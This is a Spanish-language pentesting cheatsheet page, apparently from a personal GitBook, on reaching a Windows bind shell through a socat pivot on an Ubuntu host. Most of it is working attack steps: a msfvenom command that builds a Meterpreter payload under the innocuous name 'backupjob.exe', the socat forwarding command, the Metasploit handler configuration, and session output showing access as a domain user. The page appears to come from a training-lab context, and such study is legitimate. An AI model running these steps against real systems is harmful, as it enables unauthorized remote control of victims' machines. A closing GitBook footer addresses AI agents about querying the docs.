> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/tunneling-and-portforwarding/socat-redirection-with-a-bind-shell.md).

# Socat Redirection with a Bind Shell

A diferencia del redirector de reverse shell (donde Windows se conecta al atacante), en un **bind shell** es el **Windows target** quien abre el listener y espera conexiones. El flujo completo del pivot es:

* El **Windows target** ejecuta un payload que queda escuchando en el puerto `8443`.
* El **Ubuntu server (pivot)** corre socat: escucha en `8080` y reenvía tráfico al Windows en `172.16.5.19:8443`.
* El **attack host** lanza un Metasploit bind handler que se conecta al Ubuntu (al socat listener) en `8080`.

```
Attack Host (10.10.15.5) ──► Ubuntu:8080 (socat) ──► Windows:8443 (bind shell)
```

> **Aclaración:** En un bind shell la víctima abre el puerto y espera; es útil cuando el atacante puede alcanzar a la víctima pero no al revés (sin ruta de retorno directa).

***

#### 1. Crear el Payload para Windows

```bash
msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o backupjob.exe LPORT=8443
```

* `-p windows/x64/meterpreter/bind_tcp` — payload bind TCP con Meterpreter, arquitectura x64.
* `-f exe` — formato de salida: ejecutable de Windows.
* `-o backupjob.exe` — nombre del archivo generado.
* `LPORT=8443` — puerto donde el payload queda en escucha en el host víctima.

**Output esperado:**

```
Payload size: 499 bytes
Final size of exe file: 7168 bytes
Saved as: backupjob.exe
```

**OPSEC: El `.exe` queda escrito en disco en el host comprometido. Será detectado por la mayoría de soluciones AV/EDR sin obfuscación adicional.**

***

#### 2. Iniciar el Redirector Socat en el Pivot (Ubuntu)

```bash
socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443
```

* `TCP4-LISTEN:8080` — abre un listener en el puerto `8080` del Ubuntu server.
* `fork` — permite múltiples conexiones simultáneas sin bloquear el proceso.
* `TCP4:172.16.5.19:8443` — reenvía el tráfico al Windows target en la red interna.

***

#### 3. Configurar y Lanzar el Bind Handler en Metasploit

```bash
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 10.129.202.64
set LPORT 8080
run
```

* `RHOST` — IP del **Ubuntu server (pivot)**, no la del Windows target directamente.
* `LPORT 8080` — puerto donde socat está escuchando en Ubuntu.
* El handler se conecta a Ubuntu, que reenvía la sesión al bind shell en Windows.

**Output esperado al iniciar el handler:**

```
[*] Started bind TCP handler against 10.129.202.64:8080
```

**Output esperado al ejecutar el payload en el Windows target:**

```
[*] Sending stage (200262 bytes) to 10.129.202.64
[*] Meterpreter session 1 opened (10.10.14.18:46253 -> 10.129.202.64:8080) at 2022-03-07 12:44:44 -0500

meterpreter > getuid
Server username: INLANEFREIGHT\victor
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/tunneling-and-portforwarding/socat-redirection-with-a-bind-shell.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
